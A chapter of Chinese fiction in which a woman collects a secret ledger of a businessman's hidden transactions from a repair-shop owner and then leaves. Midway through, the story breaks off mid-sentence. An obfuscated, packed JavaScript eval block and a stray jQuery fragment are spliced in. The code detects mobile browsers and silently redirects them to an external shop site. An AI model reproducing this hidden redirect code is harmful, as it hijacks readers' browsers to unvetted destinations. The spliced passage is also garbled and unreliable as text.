周二下午的阳光透过梧桐树叶的缝隙筛下来，在柏油路面上投下一片细碎的光斑。苏晚晚站在那家褪色招牌底下时，闻到一股混合着机油、橡胶和铁锈的气味，从门帘的缝隙里渗出来，像某种被遗忘了很久的东西正在缓慢地重新生长。
她掀开门帘，走进去。
店铺里光线昏暗，一盏日光灯挂在顶上，发出嗡嗡的低频电流声，把四周照出一层惨白的光。那辆银色丰田车旁边，一个穿着深蓝色工装的男人正蹲在轮胎边上，手里的扳手卡在螺帽上，正在用力。听到门帘响动，他没有停，只是侧过头，从肩膀上方扫了她一眼——很快，像飞蚊掠过水面——然后继续拆他的轮胎。
苏晚晚站在门口，没有再往前走。她把帆布袋换到左肩上，站在那辆丰田车和墙角那台落满灰尘的空气压缩机之间，没有开口，也没有催促。扳手拧动螺帽的声音一下一下地响着，铁质工具与金属部件相互咬合的回声在狭小的空间里来回碰撞，渐渐弱下去。
那人把轮胎拆下来，滚到墙边，站起来在墙角的破毛巾上擦了擦手。他转过身来时，日光灯的光刚好照在他脸上——那张脸平静得像一池不流动的水，没有惊讶，没有戒备，甚至没有一丝多余的好奇。他看了她两秒钟，说：“苏小姐吧。”
是问句，但语气是陈述句。
苏晚晚没有回答，从帆布袋里抽出那张复印件，递过去。他没有伸手接，低头看了一眼纸面上那几行数字和人名，目光在上面停了约三秒，然后抬起头来，目光越过她的肩膀，落在店门外那片被梧桐树切割成碎片的天空上。
“这张纸，你从哪里拿的？”
“有人放在我该拿到的地方。”
李德金没有说话。他弯腰从墙角的机油桶上取下一块抹布，开始慢条斯理地擦自己的手指，一根一根地擦，从食指到小指，翻来覆去地擦了两遍，像在做一件需要全神贯注的手艺活。擦完最后一道指缝时，他没有扔开抹布，攥在手里，看着她身后那道帘子外的光。
“你来找我，想证实什么？”
“不用证实，”苏晚晚说，“我想知道的是，你为什么要经手那些账。”
李德金的手指在抹布上停住了，像被人按了一下暂停键。他松开抹布，挂在扳手上，然后拉过墙角那个倒扣的机油桶，坐下来，双手交握搁在膝盖上。日光灯的白光把他额头照出一道浅浅的横纹。
“那笔账，你知道过了谁的手？”
“傅鸿昌。”
“你查过？”
“有人告诉我了。”
李德金的嘴角动了一下，不是笑，不是嘲，只是一个很淡的、像呼吸一样自然的动作。“那你应该也知道，那笔钱不是给林婉儿的。林婉儿只是过了一道手。钱从海外转进来，在账上转了一圈，走的是我名下的经办，备注填的是代购珠宝款。但实际落地的，是傅鸿昌的关系户。”
苏晚晚站在那里，没有动。手伸进帆布袋里，指尖碰到那包金桔干的塑料封口，停在那里。她能听到自己的心跳声，不紧不慢的，像在数一串数字。
“东西是从你账上出去的，但你在备注栏里写了真实交易时间。”她说，“那些做假账的人，不会这么写。”
李德金没有否认。他垂着眼，看着自己指尖残留的机油渍，像是在看一件很久以前留下的记号。“因为我不想带进棺材里。”
苏晚晚看着他。日光灯下的那张脸有些发灰，像一幅褪了色的旧照片，每一条皱纹都像是被一把钝刀慢慢刻上去的。他说这句话的时候，声音里没有愤懑，没有悔恨，只带着一种沉重的平静，像是一个已经走了很远的路的人，终于停下来，把肩上的东西放下来看了一眼。
“你能作证吗？”她问。
李德金没有立刻回答。他抬头看了她一眼，目光穿过日光灯苍白的光线，落进她眼睛里，像是在找某样东西。“你母亲还在时，”他说，“吃过我们家一顿饭。”
苏晚晚愣住了。
“她闻到我儿子身上的膏药味，问了一句。我说是扭伤，她用随身带的一瓶药油给我儿子擦了三天，”李德金说着，目光落在左膝外侧的地面上，“三天就不疼了。那瓶药油，后来我想还她，她说不用，说‘药油这东西，擦到需要的人身上才算用完’。”
苏晚晚没有说话。她感觉到胸口有一层薄薄的、几乎察觉不到的东西被压了下去。
李德金站起来，走到角落里一个生锈的铁皮柜子前，蹲下来，拿钥匙捅开最下层那格抽屉，在里面摸索了一会儿，然后站起来，走回她面前。他手里拿着一个灰色的本子，封面是牛皮纸的，边缘已经起了毛，本子用一根橡皮筋箍着，橡皮筋上沾着几点干掉的深色墨水渍。他没有递给她，只是拿在手里，像在掂量一样东西的重量。
“这里面，是傅鸿昌五年来的流水。不是公司的总账，是他让我私下经手的那部分。”他停顿了一下，像是最后确认了一遍自己要说的话，“原件只有这一本。没有第二份。”
苏晚晚看着那个本子。边角被磨得发白，纸张边缘有些卷翘。她伸出右手，掌心朝上，摊平。李德金看了她的手，又抬头看了她一眼，然后把那本灰色的笔记本放进她的掌心里。
本子落进掌心的那一瞬间，她感觉到一股沉甸甸的、带着纸张和干灰尘的触感。她的手指慢慢合拢，指节收紧，指甲掐进封面上那道磨损的折痕里。她的手没有抖——但左手垂在身侧，指腹紧紧抵着帆布袋的边缘，指节泛白，像在抓住什么作为平衡。
“给我这个，”她说，“你想过后果吗？”
李德金已经转过身去，重新拿起扳手，在那辆银色丰田车的轮胎上拧紧螺帽。他没有回头，声音混在扳手和金属碰撞的声响里，像从很远的地方传过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741848|209111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来：“我是快六十的人了。我儿子开了这家修车铺，没人查到他头上。”
苏晚晚站在他身后，握着那本灰色的笔记本，没有再说话。她低下头，把本子放进帆布袋最里层，拉上外层拉链。手指离开拉链头的一瞬间，她感觉到自己的掌心有一层薄汗——不是热的，是凉的，像刚从冷水里捞出来。
她掀开门帘，走了出去。
门帘落下来的时候，塑料片相互碰撞，发出一连串细碎的哗啦声，被微风吹着，慢慢静下来。她站在那条褪了色的招牌下面，阳光重新照在脸上，暖洋洋的。她没有立刻走，站在那里，把那口气缓缓地吐了出来——从见到李德金开始，她才意识到自己一直在屏着呼吸。她伸手摸了一下帆布袋外侧，指尖隔着帆布，触到笔记本坚硬的边角，像触到一块被磨平了的界碑。
她沿着那条被梧桐树遮了大半阳光的老街走了一段路，一直走到尽头那个十字路口，才停下来。她把帆布袋拉开一条缝，掏出那本灰色的笔记本，翻开一页。纸张是那种老式的横线纸，蓝色线条已经褪成浅蓝，上面挤满了字，李德金的笔迹很工整，每一个数字都写得很稳，像是一个人反复确认之后才落笔的。
她把本子合上，塞回帆布袋里，拉好拉链。然后她站在那片空荡的人行道上，仰起头来。梧桐树上的叶子已经落了大半，剩下几片枯黄的叶子挂在枝头，被风吹着，发出干燥的沙沙声。她听着那些叶子相互摩擦的声音，低头看了看自己的手，指尖按进掌心里，留下一道浅浅的月牙形压痕。手掌摊开时，那道白印慢慢地消失了。
她继续往前走。建设路的路口拐弯处是一个公交站，她站在那里等了一会儿，从口袋里摸出手机，翻到秋姨的号码，按下去。
响了三声，通了。
“秋姨，东西我拿到了。”
电话那头安静了两秒，然后秋姨的声音传过来，不紧不慢的，像茶水顺着壶嘴流进杯子里：“那就趁热喝。”
苏晚晚挂了电话，把手机放回口袋里。公交车从远处驶过来，车窗反射着午后的阳光，晃出一道刺眼的白光。她等那辆车停下来，上了车，在最靠窗的位置坐下。车子发动时，她转头看了一眼窗外——那家修车铺的招牌已经看不见了，被路口的梧桐树挡住了。
她低头看向帆布袋，指尖隔着布料，触到那本笔记本坚硬的边缘。整只手平放在帆布袋上，掌心贴着布料，能感觉到布料下纸张的棱角隔着厚度微微顶着手心——那道棱角微微凸起的边缘，顶在她的掌纹正中间，像某种沉入水底的物体终于被触碰到了底部。
车子开过一个路口，阳光从车窗斜射进来，在她的腿上投下一块暖黄色的长方形。她看着那块光斑慢慢移动，从她的膝盖滑到帆布袋上，滑到座位上，然后从窗子的边缘滑出去，消失了。她靠在座椅上，闭上眼睛。
车子继续往前开着。